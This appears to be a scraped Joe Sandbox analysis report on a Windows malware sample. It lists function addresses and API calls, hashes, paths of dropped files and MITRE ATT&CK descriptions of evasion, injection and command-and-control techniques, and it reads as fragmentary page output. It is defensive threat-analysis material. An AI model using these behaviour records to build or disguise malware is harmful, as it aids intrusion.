API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction ID: f345eba8489605592ce73ef35c78e6b42925bf5f5eceaf1f60f0973e38c56604
Opcode Fuzzy Hash: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction Fuzzy Hash: AE318FF6904211DBF314CF64DC859EA77E8EB853D0B12452AFB45E726CEB34E8018765

Function 00405E07 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004060F0,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E17
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E2F
CharNextA.USER32(00000000,?,00000000,004060F0,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E40
lstrlenA.KERNEL32(00000000,?,00000000,004060F0,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E49

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: dc3323509655add47458b7bfdc28b409d7665b879035d0867add309d4545c2bc
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 89F06236104518EFC7029BA5DD40D9FBBA8EF06354B2540BAE980F7211D674DF01AB99

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Ub46mg9pn4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsnB635.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nsvB00A.tmp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Coneine\plastron.ori

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Printstningerne.Hjk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Registerforvaltningernes.Sja

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\bushers.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\meropidae.kej

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Gaulin.ini

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Windows Analysis Report
Ub46mg9pn4.exe

Function 00403489 Relevance: 89.7, APIs: 33, Strings: 18, Instructions: 412
stringfilecomCOMMON

Function 00405ABE Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 00406ABA Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Function 00403ABE Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Function 00402F14 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Function 004063D2 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00402644 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Function 0040671A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 004058E3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 00405ED1 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 004023DE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Function 00402D2A Relevance: 6.1, APIs: 4, Instructions: 64
registryCOMMON

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65
COMMON